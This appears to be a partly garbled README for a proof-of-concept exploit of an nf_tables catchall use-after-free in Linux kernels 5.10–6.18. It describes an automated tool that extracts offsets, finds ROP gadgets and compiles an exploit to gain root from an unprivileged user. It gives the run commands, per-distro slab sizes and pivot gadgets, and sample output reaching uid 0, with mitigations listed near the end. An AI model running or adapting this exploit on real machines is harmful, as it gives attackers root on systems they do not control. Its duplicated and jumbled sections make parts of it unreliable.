
nf_tables catchall UAF → 非特权 LPE。在大多数 5.10—6.18 Linux 内核上实现从普通用户到 root 的提权。
自动适配目标内核 — 检测结构体偏移、解析符号、查找 ROP gadgets、确定 slab 缓存、生成定制化 exploit、编译并运行。
nf_tables catchall UAF → 非特权 LPE。在大多数 5.10—6.18 Linux 内核上,普通用户可变为 root。
自动适配目标内核 — 检测结构体偏移、解析符号、查找 ROP gadgets、确定 slab 缓存、生成定制化 exploit、编译并运行。


EN: nft_map_catchall_activate()(net/netfilter/nf_tables_api.c)中的 genmask 检查被反转。在事务中止期间,处理程序会跳过需要重新激活的非活动 catchall 元素,却处理了不需要激活的活动元素。这导致 chain->use 在没有正确恢复的情况下递减,从而允许对仍被引用的 chain 执行 DELCHAIN — 造成 UAF。
PT: nft_map_catchall_activate()(net/netfilter/nf_tables_api.c)中的 genmask 检查被反转。在事务中止期间,处理程序会跳过需要重新激活的非活动 catchall 元素,却处理了不需要激活的活动元素。这导致 chain->use 在没有正确恢复的情况下递减,从而允许对仍被引用的 chain 执行 DELCHAIN — 造成 UAF。
存在问题的条件:
// WRONG (actual code) — skips the elements that need reactivation
if (!nft_set_elem_active(ext, genmask))
continue;
// CORRECT (what it should be) — skips elements already active
if (nft_set_elem_active(ext, iter->genmask))
return 0;
seq_operations 回收已释放的 chain name 泄漏内核基址commit_creds(init_cred),并以 KPTI 安全的方式返回用户态unshare -rUn(用户 + 网络命名空间)该漏洞在 6.1.36(backport)中引入,并存在于多个 LTS 分支:
这基本上涵盖了 2023—2026 年间发布的所有主流企业级 Linux 发行版。
git clone https://github.com/Knz-source/CVE-2026-23111-POC-noddlenpottato
cd CVE-2026-23111-POC-noddlenpottato
python3 autopwn.py
或按步骤执行:
python3 checker.py --detailed # check if vulnerable / verifica se é vulneravel
python3 scripts/extract_offsets.py # grab kernel offsets / pega offsets do kernel
python3 scripts/find_gadgets.py # find ROP gadgets / encontra gadgets ROP
make # build the exploit / compila o exploit
./exploit # pop root
.
├── autopwn.py full auto — detect, extract, compile, exploit
├── checker.py vulnerability checker (version, modules, userns, BTF)
├── exploit_61.c base exploit (Debian 6.1.172 offsets, template for autopwn)
├── exploit/
│ ├── exploit.c C exploit
│ ├── exploit.py python wrapper with retry logic
│ └── exploit.rs rust port (compiles static with musl)
├── scripts/
│ ├── extract_offsets.py BTF/pahole offset extractor
│ ├── find_gadgets.py ROP gadget finder (objdump/nm)
│ ├── slab_check.sh slab cache analyzer
│ └── install_deps.sh dependency installer
├── img/ diagrams
├── Makefile build targets (C, Rust, deps)
├── EXPLOITATION.md deep dive into the 5-phase exploit chain
├── DEBUGGING.md step by step offset extraction and gadget hunting
└── CONSIDERATIONS.md edge cases, bypasses, pitfalls
不同内核构建中 sizeof(nft_chain) 大小不同。错误的 spray 大小 = 静默失败:
debian 6.1.172: 120 bytes → kmalloc-128
ubuntu 6.5.x: 136 bytes → kmalloc-192
ubuntu 6.8.x: 152 bytes → kmalloc-192
debian 5.15.x: 112 bytes → kmalloc-128
userdata spray 必须使用精确的结构体大小(而非 slab 大小)。autopwn.py 会通过 pahole 自动处理这一点。
保存 eval() 调用点处 expr 指针的寄存器在不同内核版本间会变化:
| 内核 | 寄存器 | 所需 gadget |
|---|---|---|
| 6.1.x (debian) | rbp | leave; jmp __x86_return_thunk |
| 6.5+ (ubuntu) | rbx | mov rsp, rbx; ret 或 push rbx; pop rsp; ret |
错误的 gadget = 立即内核 panic。务必通过反汇编 nft_do_chain 进行验证。
现代内核将所有 ret 替换为 jmp __x86_return_thunk。gadget 搜索必须考虑到这一点 — 你找不到 pop rdi; ret,只能找到 pop rdi; jmp __x86_return_thunk。
# C (recommended — fastest, proven)
make
# Rust (static binary with musl — good for dropping on targets)
make rust
# install build deps
make deps
$ id
uid=1000(user) gid=1000(user)
$ ./exploit
[*] CVE-2026-23111 nftables UAF -> LPE
[+] chain freed (kmalloc-128) + name freed (kmalloc-32)
[pwn] kbase = 0xffffffff9a400000
[pwn] my_task found at 0xffff8e4a1c084190
[pwn] canary = 0x5c6fa95dca98e100
[pwn] commit_creds(init_cred) -> ROP triggered
[+] root
# id
uid=0(root) gid=0(root) groups=0(root)
| 文档 | 内容 |
|---|---|
| EXPLOITATION.md | 完整的漏洞利用链讲解,含代码,EN/PT |
| DEBUGGING.md |
# update kernel to fixed version
apt upgrade linux-image-$(uname -r)
# or disable unprivileged user namespaces
sysctl -w kernel.unprivileged_userns_clone=0
# or blacklist nf_tables
echo 'install nf_tables /bin/true' >> /etc/modprobe.d/blacklist.conf
原始漏洞分析来自 nf_tables 安全公告。完整的 LPE 链开发、slab 分析、多内核适配、pivot gadget 研究以及 autopwn 工具均为独立开发完成。
| 内核范围 | 修复版本 | 受影响发行版 |
|---|
| 6.13 — 6.18.9 | 6.18.10 | fedora 41+、arch(滚动版) |
| 6.7 — 6.12.69 | 6.12.70 | ubuntu 24.04/24.10、fedora 39/40 |
| 6.1.36 — 6.1.162 | 6.1.163 | debian 12 (bookworm)、RHEL 9 衍生版 |
| 5.15.121 — 5.15.199 | 5.15.200 | ubuntu 22.04 LTS、debian 11 backports |
| 5.10.188+ | 多个 | debian 11 (bullseye)、RHEL 8 衍生版 |
| 如何为你的内核提取每一个偏移和 gadget,EN/PT |
| CONSIDERATIONS.md | 边界情况、绕过、容器、SMEP/SMAP、检测,EN/PT |